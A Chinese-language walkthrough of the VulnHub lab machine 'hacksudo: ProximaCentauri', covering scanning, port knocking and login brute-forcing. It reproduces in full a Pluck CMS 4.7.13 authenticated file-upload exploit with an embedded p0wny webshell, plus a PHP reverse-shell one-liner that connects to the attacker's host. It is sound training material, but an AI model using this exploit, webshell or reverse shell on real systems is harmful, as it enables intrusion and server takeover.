靶机渗透练习97-hacksudo:ProximaCentauri
靶机描述
靶机地址:https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/
Description
Box created by hacksudo team members vishal Waghmare , Soham Deshmukh This box should be easy to medium . This machine was created for the InfoSec Prep Discord Server (https://discord.gg/tsEQqDJh) and Website (https://hacksudo.com)
This box created for improvement of Linux privileged escalation and CMS skill , I hope so you guys enjoy. The box was created with Virtualbox ,but it should work with VMWare Player and VMWare workstation Upon booting up use netdiscover tool to find IP address you can check ip on grab page . This is the target address based on whatever settings you have. You should verify the address just incase.
Find the root.txt flag submit it to the flagsubmit channel on Discord and get chance to get hacksudo machine hacking course free .
This works better with VirtualBox rather than VMware
一、搭建靶机环境
攻击机Kali
:
IP地址:192.168.9.3
靶机
:
IP地址:192.168.9.17
注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)
该靶机环境搭建如下
- 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
- 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only
二、实战
2.1网络扫描
2.1.1 启动靶机和Kali后进行扫描
方法一、arp-scan -I eth0 -l (指定网卡扫)
arp-scan -I eth0 -l
⬢ hacksudo: ProximaCentauri arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:50:56:27:27:36, IPv4: 192.168.9.3
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.1 0a:00:27:00:00:12 (Unknown: locally administered)
192.168.9.1 08:00:27:cf:3c:de PCS Systemtechnik GmbH (DUP: 2)
192.168.9.17 08:00:27:f3:2e:f3 PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.316 seconds (110.54 hosts/sec). 3 responded
方法二、masscan 扫描的网段 -p 扫描端口号
masscan 192.168.184.0/24 -p 80,22
方法三、netdiscover -i 网卡-r 网段
netdiscover -i eth0 -r 192.168.184.0/24
方法四、fping -aqg 指定网段
fping -aqg 192.168.9.0/24
方法五、待补充
2.1.2 查看靶机开放的端口
使用nmap -A -sV -T4 -p- 靶机ip
查看靶机开放的端口
⬢ hacksudo: ProximaCentauri nmap -A -sV -T4 -p- 192.168.9.17
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 04:21 CST
Nmap scan report for bogon (192.168.9.17)
Host is up (0.0025s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/data/ /docs/
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:F3:2E:F3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 2.51 ms bogon (192.168.9.17)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 103.31 seconds
开放了80端口,并发现robots.txt
其中显示两个目录
22端口状态为filtered
,后期可能会需要进行端口敲门
2.2枚举漏洞
2.2.1 80 端口分析
在页脚发现该站CMS是pluck
同时得到登录界面:http://192.168.9.17/login.php
除了这个没其他信息了
咱们扫一下目录看看
⬢ hacksudo: ProximaCentauri gobuster dir -u http://192.168.9.17 -x txt,php,html,bak --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o hacksudo.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.9.17
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt,php,html,bak
[+] Timeout: 10s
===============================================================
2022/05/09 04:43:14 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 313] [--> http://192.168.9.17/images/]
/login.php (Status: 200) [Size: 1245]
/docs (Status: 301) [Size: 311] [--> http://192.168.9.17/docs/]
/files (Status: 301) [Size: 312] [--> http://192.168.9.17/files/]
/index.php (Status: 302) [Size: 0] [--> http://192.168.9.17/?file=hacksudo-proxima-centauri]
/data (Status: 301) [Size: 311] [--> http://192.168.9.17/data/]
/admin.php (Status: 200) [Size: 4584]
/install.php (Status: 200) [Size: 4593]
/robots.txt (Status: 200) [Size: 47]
/planet (Status: 301) [Size: 313] [--> http://192.168.9.17/planet/]
/planet.html (Status: 200) [Size: 1632]
/requirements.php (Status: 200) [Size: 4605]
/server-status (Status: 403) [Size: 277]
/flag1.txt (Status: 200) [Size: 64]
===============================================================
2022/05/09 04:46:53 Finished
===============================================================
访问:http://192.168.9.17/flag1.txt
这应该就是所谓的flag1
了
猜测CMS的版本号为pluck 4.7.3
得到了版本号,那就直接去本地搜索一下漏洞库
没发现特别适用此靶机的,接下去分析吧
访问:http://192.168.9.17/planet/
访问:http://192.168.9.17/planet/travel/
好像就是个静止页面,查看一样源代码,发现一串特殊的注释
<!--- here you can open portal and travel to proxima,the co-ordinate is? RA for open,Dec for close The proxima blackwhole portal......get co-ordinate from https://g.co/kgs/F9Lb6b --!>
我们可以从此评论中获得以下信息
- 我们应该找到 Proxima Centauri 的坐标
- Right Ascension(RA)表示开放
- 偏角(Dec)表示关闭
打开
和关闭
短语可能指的是打开和关闭的端口,还记得咱们上边使用 Nmap 时遇到的过滤端口吗?
也就是22端口,这可能是在提示我们执行端口敲门以打开过滤后的端口。
直接访问他提供的google搜索
打开,它说看 RA(赤经)
正如我们在之前的挑战中看到的,我们可以使用这些数字来解锁过滤端口22
也就是说,咱们可以使用端口敲门打开22端口
这里咱们使用knock
进行端口敲门:knock 192.168.9.17 14 29 43
⬢ hacksudo: ProximaCentauri knock 192.168.9.17 14 29 43
⬢ hacksudo: ProximaCentauri nmap -p 22 192.168.9.17
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-09 05:06 CST
Nmap scan report for bogon (192.168.9.17)
Host is up (0.00034s latency).
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 08:00:27:F3:2E:F3 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
⬢ hacksudo: ProximaCentauri
成功打开22端口
尝试直接ssh登录看看,是否有相关提示
⬢ hacksudo: ProximaCentauri ssh 192.168.9.17
The authenticity of host '192.168.9.17 (192.168.9.17)' can't be established.
ED25519 key fingerprint is SHA256:eI8yP9LtVsMcwLyNVJCLIT/guic0AroGQyjLmeyJCC8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.17' (ED25519) to the list of known hosts.
#m m # #
# # mmm mmm # m mmm m m mmm# mmm
#mmmm# " # #" " # m" # " # # #" "# #" "#
# # m"""# # #"# """m # # # # # #
# # "mm"# "#mm" # "m "mmm" "mm"# "#m## "#m#"
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare
#==============================================================================#
#hey dear you might be survive due to blackwhole effect so try 2 get right path#
#------------------------------------------------------------------------------#
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
root@192.168.9.17's password:
这里咱们看到了一个github链接
访问该链接,文件内容如下
GNU nano 5.4 pass
proxima
alfa
alfacentauri
proximab
exoplanet
hackme
hackplanet
alfahack
proximatravel
hacktheplanet
hacksudo
hacksudoplanet
vishalastro
alfab
#try for proxima centauri , this is blackwhole effect
还记得那个登录页面吗?
咱们可以尝试使用这个单词列表来破解密码
这里咱们使用 Burpsuite
来爆破
这边设置payloads的时候选择字典时使用刚才获得的小字典
这边成功爆破出密码为hacktheplanet
拿获得密码进行登录
登录后,在左下角发现CMS具体版本号为pluck 4.7.13
2.3漏洞利用
2.3.1 文件上传远程代码执行
去网上搜索下该版本是否有可以利用的EXP
成功找到https://www.exploit-db.com/exploits/49909
# Exploit Title: Pluck CMS 4.7.13 - File Upload Remote Code Execution (Authenticated)
# Date: 25.05.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://github.com/pluck-cms/pluck
# Software Link: https://github.com/pluck-cms/pluck/releases/tag/4.7.13
# Version: 4.7.13
# Tested on Xubuntu 20.04
# CVE: CVE-2020-29607
'''
Description:
A file upload restriction bypass vulnerability in Pluck CMS before 4.7.13 allows an admin
privileged user to gain access in the host through the "manage files" functionality,
which may result in remote code execution.
'''
'''
Import required modules:
'''
import sys
import requests
import json
import time
import urllib.parse
'''
User Input:
'''
target_ip = sys.argv[1]
target_port = sys.argv[2]
password = sys.argv[3]
pluckcmspath = sys.argv[4]
'''
Get cookie
'''
session = requests.Session()
link = 'http://' + target_ip + ':' + target_port + pluckcmspath
response = session.get(link)
cookies_session = session.cookies.get_dict()
cookie = json.dumps(cookies_session)
cookie = cookie.replace('"}','')
cookie = cookie.replace('{"', '')
cookie = cookie.replace('"', '')
cookie = cookie.replace(" ", '')
cookie = cookie.replace(":", '=')
'''
Authentication:
'''
# Compute Content-Length:
base_content_len = 27
password_encoded = urllib.parse.quote(password, safe='')
password_encoded_len = len(password_encoded.encode('utf-8'))
content_len = base_content_len + password_encoded_len
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(content_len),
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': 'http://' + target_ip + pluckcmspath + '/login.php',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Construct Data:
body = {
'cont1': password,
'bogus': '',
'submit': 'Log in',
}
# Authenticating:
link_auth = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/login.php'
auth = requests.post(link_auth, headers=header, data=body)
print('')
if 'error' in auth.text:
print('Password incorrect, please try again:')
exit()
else:
print('Authentification was succesfull, uploading webshell')
print('')
'''
Upload Webshell:
'''
# Construct Header:
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'multipart/form-data; boundary=---------------------------5170699732428994785525662060',
'Connection': 'close',
'Referer': 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1'
}
# Constructing Webshell payload: I'm using p0wny-shell: https://github.com/flozz/p0wny-shell
data = "-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"filefile\"; filename=\"shell.phar\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radius: 8px;\n -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n background-color: #bcbcbc;\n }\n\n #shell {\n background: #222;\n max-width: 800px;\n margin: 50px auto 0 auto;\n box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n font-size: 10pt;\n display: flex;\n flex-direction: column;\n align-items: stretch;\n }\n\n #shell-content {\n height: 500px;\n overflow: auto;\n padding: 5px;\n white-space: pre-wrap;\n flex-grow: 1;\n }\n\n #shell-logo {\n font-weight: bold;\n color: #FF4180;\n text-align: center;\n }\n\n @media (max-width: 991px) {\n #shell-logo {\n font-size: 6px;\n margin: -25px 0;\n }\n\n html, body, #shell {\n height: 100%;\n width: 100%;\n max-width: none;\n }\n\n #shell {\n margin-top: 0;\n }\n }\n\n @media (max-width: 767px) {\n #shell-input {\n flex-direction: column;\n }\n }\n\n @media (max-width: 320px) {\n #shell-logo {\n font-size: 5px;\n }\n }\n\n .shell-prompt {\n font-weight: bold;\n color: #75DF0B;\n }\n\n .shell-prompt > span {\n color: #1BC9E7;\n }\n\n #shell-input {\n display: flex;\n box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n border-top: rgba(255, 255, 255, .05) solid 1px;\n }\n\n #shell-input > label {\n flex-grow: 0;\n display: block;\n padding: 0 5px;\n height: 30px;\n line-height: 30px;\n }\n\n #shell-input #shell-cmd {\n height: 30px;\n line-height: 30px;\n border: none;\n background: transparent;\n color: #eee;\n font-family: monospace;\n font-size: 10pt;\n width: 100%;\n align-self: center;\n }\n\n #shell-input div {\n flex-grow: 1;\n align-items: stretch;\n }\n\n #shell-input input {\n outline: none;\n }\n </style>\n\n <script>\n var CWD = null;\n var commandHistory = [];\n var historyPosition = 0;\n var eShellCmdInput = null;\n var eShellContent = null;\n\n function _insertCommand(command) {\n eShellContent.innerHTML += \"\\n\\n\";\n eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n eShellContent.innerHTML += escapeHtml(command);\n eShellContent.innerHTML += \"\\n\";\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _insertStdout(stdout) {\n eShellContent.innerHTML += escapeHtml(stdout);\n eShellContent.scrollTop = eShellContent.scrollHeight;\n }\n\n function _defer(callback) {\n setTimeout(callback, 0);\n }\n\n function featureShell(command) {\n\n _insertCommand(command);\n if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n } else if (/^\\s*clear\\s*$/.test(command)) {\n // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n eShellContent.innerHTML = '';\n } else {\n makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n if (response.hasOwnProperty('file')) {\n featureDownload(response.name, response.file)\n } else {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n }\n });\n }\n }\n\n function featureHint() {\n if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete\n\n function _requestCallback(data) {\n if (data.files.length <= 1) return; // no completion\n\n if (data.files.length === 2) {\n if (type === 'cmd') {\n eShellCmdInput.value = data.files[0];\n } else {\n var currentValue = eShellCmdInput.value;\n eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n }\n } else {\n _insertCommand(eShellCmdInput.value);\n _insertStdout(data.files.join(\"\\n\"));\n }\n }\n\n var currentCmd = eShellCmdInput.value.split(\" \");\n var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n makeRequest(\n \"?feature=hint\",\n {\n filename: fileName,\n cwd: CWD,\n type: type\n },\n _requestCallback\n );\n\n }\n\n function featureDownload(name, file) {\n var element = document.createElement('a');\n element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n element.setAttribute('download', name);\n element.style.display = 'none';\n document.body.appendChild(element);\n element.click();\n document.body.removeChild(element);\n _insertStdout('Done.');\n }\n\n function featureUpload(path) {\n var element = document.createElement('input');\n element.setAttribute('type', 'file');\n element.style.display = 'none';\n document.body.appendChild(element);\n element.addEventListener('change', function () {\n var promise = getBase64(element.files[0]);\n promise.then(function (file) {\n makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n _insertStdout(response.stdout.join(\"\\n\"));\n updateCwd(response.cwd);\n });\n }, function () {\n _insertStdout('An unknown client-side error occurred.');\n });\n });\n element.click();\n document.body.removeChild(element);\n }\n\n function getBase64(file, onLoadCallback) {\n return new Promise(function(resolve, reject) {\n var reader = new FileReader();\n reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n reader.onerror = reject;\n reader.readAsDataURL(file);\n });\n }\n\n function genPrompt(cwd) {\n cwd = cwd || \"~\";\n var shortCwd = cwd;\n if (cwd.split(\"/\").length > 3) {\n var splittedCwd = cwd.split(\"/\");\n shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n }\n return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n }\n\n function updateCwd(cwd) {\n if (cwd) {\n CWD = cwd;\n _updatePrompt();\n return;\n }\n makeRequest(\"?feature=pwd\", {}, function(response) {\n CWD = response.cwd;\n _updatePrompt();\n });\n\n }\n\n function escapeHtml(string) {\n return string\n .replace(/&/g, \"&\")\n .replace(/</g, \"<\")\n .replace(/>/g, \">\");\n }\n\n function _updatePrompt() {\n var eShellPrompt = document.getElementById(\"shell-prompt\");\n eShellPrompt.innerHTML = genPrompt(CWD);\n }\n\n function _onShellCmdKeyDown(event) {\n switch (event.key) {\n case \"Enter\":\n featureShell(eShellCmdInput.value);\n insertToHistory(eShellCmdInput.value);\n eShellCmdInput.value = \"\";\n break;\n case \"ArrowUp\":\n if (historyPosition > 0) {\n historyPosition--;\n eShellCmdInput.blur();\n eShellCmdInput.value = commandHistory[historyPosition];\n _defer(function() {\n eShellCmdInput.focus();\n });\n }\n break;\n case \"ArrowDown\":\n if (historyPosition >= commandHistory.length) {\n break;\n }\n historyPosition++;\n if (historyPosition === commandHistory.length) {\n eShellCmdInput.value = \"\";\n } else {\n eShellCmdInput.blur();\n eShellCmdInput.focus();\n eShellCmdInput.value = commandHistory[historyPosition];\n }\n break;\n case 'Tab':\n event.preventDefault();\n featureHint();\n break;\n }\n }\n\n function insertToHistory(cmd) {\n commandHistory.push(cmd);\n historyPosition = commandHistory.length;\n }\n\n function makeRequest(url, params, callback) {\n function getQueryString() {\n var a = [];\n for (var key in params) {\n if (params.hasOwnProperty(key)) {\n a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n }\n }\n return a.join(\"&\");\n }\n var xhr = new XMLHttpRequest();\n xhr.open(\"POST\", url, true);\n xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n xhr.onreadystatechange = function() {\n if (xhr.readyState === 4 && xhr.status === 200) {\n try {\n var responseJson = JSON.parse(xhr.responseText);\n callback(responseJson);\n } catch (error) {\n alert(\"Error while parsing response: \" + error);\n }\n }\n };\n xhr.send(getQueryString());\n }\n\n document.onclick = function(event) {\n event = event || window.event;\n var selection = window.getSelection();\n var target = event.target || event.srcElement;\n\n if (target.tagName === \"SELECT\") {\n return;\n }\n\n if (!selection.toString()) {\n eShellCmdInput.focus();\n }\n };\n\n window.onload = function() {\n eShellCmdInput = document.getElementById(\"shell-cmd\");\n eShellContent = document.getElementById(\"shell-content\");\n updateCwd();\n eShellCmdInput.focus();\n };\n </script>\n </head>\n\n <body>\n <div id=\"shell\">\n <pre id=\"shell-content\">\n <div id=\"shell-logo\">\n ___ ____ _ _ _ _ _ <span></span>\n _ __ / _ \\__ ___ __ _ _ / __ \\ ___| |__ ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_ .. _|<span></span>\n| |_) | |_| |\\ V V /| | | | |_| | | (_| \\__ \\ | | | __/ | |_ |_ _|<span></span>\n| .__/ \\___/ \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_) |_||_| <span></span>\n|_| |___/ \\____/ <span></span>\n </div>\n </pre>\n <div id=\"shell-input\">\n <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n <div>\n <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n </div>\n </div>\n </div>\n </body>\n\n</html>\n\r\n-----------------------------5170699732428994785525662060\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nUpload\r\n-----------------------------5170699732428994785525662060--\r\n"
# Uploading Webshell:
link_upload = 'http://' + target_ip + ':' + target_port + pluckcmspath + '/admin.php?action=files'
upload = requests.post(link_upload, headers=header, data=data)
'''
Finish:
'''
print('Uploaded Webshell to: http://' + target_ip + ':' + target_port + pluckcmspath + '/files/shell.phar')
print('')
将其下载到本地,然后根据脚本内容,咱们可以运行以下命令:
python3 49909.py 192.168.9.17 80 hacktheplanet ""
⬢ hacksudo: ProximaCentauri python3 49909.py 192.168.9.17 80 hacktheplanet ""
Authentification was succesfull, uploading webshell
Uploaded Webshell to: http://192.168.9.17:80/files/shell.phar
浏览器访问:http://192.168.9.17:80/files/shell.phar
成功拿到shell
2.4权限提升
2.4.1 信息收集
进行简单的信息收集,查看当前目录下都有啥,查看一下系统用户
p0wny@shell:…/html/files# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
p0wny@shell:…/html/files# ls -al
total 104
drwxr-xr-x 2 www-data www-data 4096 May 8 17:39 .
drwxr-xr-x 7 www-data www-data 4096 Jun 7 2021 ..
-rwxr-xr-x 1 www-data www-data 128 Jan 29 2020 .htaccess
-rwxrwxr-x 1 www-data www-data 69750 Jun 4 2021 hacksudo.jpg
-rwxrwxr-x 1 www-data www-data 16970 May 8 17:39 shell.phar
p0wny@shell:…/html/files# cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
proxima:x:1001:1001:proxima century,3,3,1,1:/home/proxima:/bin/bash
alfa:x:1000:1000:,,,:/home/alfa:/bin/bash
centauri:x:1002:1002:,,,:/home/centauri:/bin/bash
查看一下备份文件夹是否有东西
p0wny@shell:…/html/files# cd /var/backups
p0wny@shell:/var/backups# ls -al
total 436
drwxr-xr-x 2 root root 4096 Jun 5 2021 .
drwxr-xr-x 12 root root 4096 Jun 4 2021 ..
-rw-r--r-- 1 root root 40960 Jun 5 2021 alternatives.tar.0
-rw-r--r-- 1 root root 9762 Jun 5 2021 apt.extended_states.0
-rw-r--r-- 1 root root 666 Jun 4 2021 apt.extended_states.1.gz
-rw-r--r-- 1 root root 98 Jun 4 2021 dpkg.diversions.0
-rw-r--r-- 1 root root 172 Jun 4 2021 dpkg.statoverride.0
-rw-r--r-- 1 root root 351158 Jun 5 2021 dpkg.status.0
-rw------- 1 root root 704 Jun 4 2021 group.bak
-rw------- 1 root shadow 587 Jun 4 2021 gshadow.bak
-r--r--r-- 1 root root 2895 Jun 5 2021 mysql.bak
-rw------- 1 root root 1470 Jun 4 2021 passwd.bak
-rw------- 1 root shadow 969 Jun 4 2021 shadow.bak
p0wny@shell:/var/backups# cat mysql.bak
cat
命令在该 shell 中不起作用
咱们使用download
命令进行下载到本地进行查看
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'proximacentauri' );
/** MySQL database username */
define( 'DB_USER', 'alfauser' );
/** MySQL database password */
define( 'DB_PASSWORD', 'passw0rd' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'put your unique phrase here' );
define( 'SECURE_AUTH_KEY', 'put your unique phrase here' );
define( 'LOGGED_IN_KEY', 'put your unique phrase here' );
define( 'NONCE_KEY', 'put your unique phrase here' );
define( 'AUTH_SALT', 'put your unique phrase here' );
define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT', 'put your unique phrase here' );
define( 'NONCE_SALT', 'put your unique phrase here' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://wordpress.org/support/article/debugging-in-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
得到数据库用户alfauser
密码passw0rd
该文件包含一个 wordpress
应用程序的配置
咱们登录到mysql进行查看
但是这个shell没办法运行相关命令
这里咱们整一个反向shell
本地kali监听:nc -nlvp 6666
``p0wny shell 中运行:
php -r '$sock=fsockopen("192.168.9.3",6666);exec("bash <&3 >&3 2>&3");'`
⬢ hacksudo: ProximaCentauri nc -nlvp 6666
listening on [any] 6666 ...
connect to [192.168.9.3] from (UNKNOWN) [192.168.9.17] 51134
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@ProximaCentauri:/var/backups$
2.4.2 提权至proxima用户
成功Getshell,接下来咱们继续上面的操作,先进去mysql查看一下
www-data@ProximaCentauri:/var/backups$ mysql -ualfauser -ppassw0rd
mysql -ualfauser -ppassw0rd
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 37
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| proximacentauri |
+--------------------+
4 rows in set (0.028 sec)
MariaDB [(none)]> use proximacentauri;
use proximacentauri;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [proximacentauri]> show tables;
show tables;
+---------------------------+
| Tables_in_proximacentauri |
+---------------------------+
| authors |
+---------------------------+
1 row in set (0.001 sec)
MariaDB [proximacentauri]> select * from authors;
select * from authors;
